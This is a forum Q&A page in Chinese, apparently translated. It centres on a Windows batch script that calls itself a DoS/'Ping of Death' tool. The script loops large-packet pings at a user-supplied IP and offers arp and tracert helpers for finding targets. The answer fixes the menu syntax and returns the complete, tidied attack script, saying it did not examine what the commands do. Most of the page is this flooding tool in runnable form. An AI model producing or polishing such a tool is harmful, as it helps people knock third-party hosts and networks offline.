要求用户输入时语法不正确

问题描述 投票:-1回答:1

我想用Batch做一个快速程序,要求用户输入,但当我到了输入部分,脚本退出时出现了错误。

命令的语法不正确。

这是我的代码。

@echo off
color 0a
title WinDoS/PoD- 0.1
echo Automatic DoS/PoD Tool
echo Select what you want to do.
echo 1. Attack
echo 2. Instructions
echo 3. IP Getter
echo 4. IP Searcher
echo 5. Exit
set /p userchoice=
if %userchoice% == 1 
goto attack
if %userchoice% == 2
goto instructions
if %userchoice% == 3
goto getter
if %userchoice% == 4
goto searcher
if %userchoice% == 5
exit

:searcher
arp -a
pause

:attack
echo Enter IP adress to attack
set /p address=
goto sequence

:sequence
ping %address% -l 65500 -w 1 -n 1
goto sequence

:instructions
echo WinDoS/PoD Instructions
echo WinDoS/PoD is a program that allows you to perform Denial Of Service (DoS) attacks using a method known as Ping Of Death (PoD)
echo Press 1 on the home menu to enter the attacker program.
echo Input an ip address to DoS
echo If you don't know the IP address to a site, use the built in getter.
echo If you want to view all available network targets, use the built in searcher.
pause

:getter
echo Website (full link):
set /p %website%=
tracert %website%
pause

语法有什么问题?

batch-file input cmd
1个回答
0
投票

你用错了选择一个已知列表项的命令,你应该用的是 choice,不 set.

下面是一个以你提供的信息为基础的例子。

@Echo Off
Color 0A
Title WinDoS/PoD- 0.1

:Menu
Echo(
Echo Automatic DoS/PoD Tool
Echo(
Echo    Home Menu
Echo(
Echo 1. Attack
Echo 2. Instructions
Echo 3. IP Getter
Echo 4. IP Searcher
Echo 5. Exit
Echo(

%__AppDir__%choice.exe /C 12345 /N /M "Select a Home Menu item number>"
If ErrorLevel 5 GoTo :EOF
If ErrorLevel 4 GoTo Searcher
If ErrorLevel 3 GoTo Getter
If ErrorLevel 2 GoTo Instructions

:Attack
ClS
Set /P "address=Enter IP address to attack> "

:Sequence
%__AppDir__%ping.exe %address% -l 65500 -w 1 -n 1
GoTo Sequence

:Instructions
ClS
Echo WinDoS/PoD Instructions
Echo(
Echo This program allows you to perform Denial Of Service (DoS) attacks,
Echo  using a method known as Ping Of Death (PoD).
Echo(
Echo Press 1 on the Home Menu to begin the Attack program.
Echo Input an IP address to DoS
Echo If you don't know the IP address for a site, use the built-in Getter.
Echo If you want to view all available network targets, use the built-in Searcher.
Echo(
Pause
GoTo Menu

:Getter
ClS
Set /P "website=Website (full link)> "
%__AppDir__%tracert.exe %website%
Pause
GoTo Menu

:Searcher
ClS
%__AppDir__%arp.exe -a
Pause
GoTo Menu

请注意,我并没有研究你的任何命令的用法,我只是对布局和功能进行了改进。

© www.soinside.com 2019 - 2024. All rights reserved.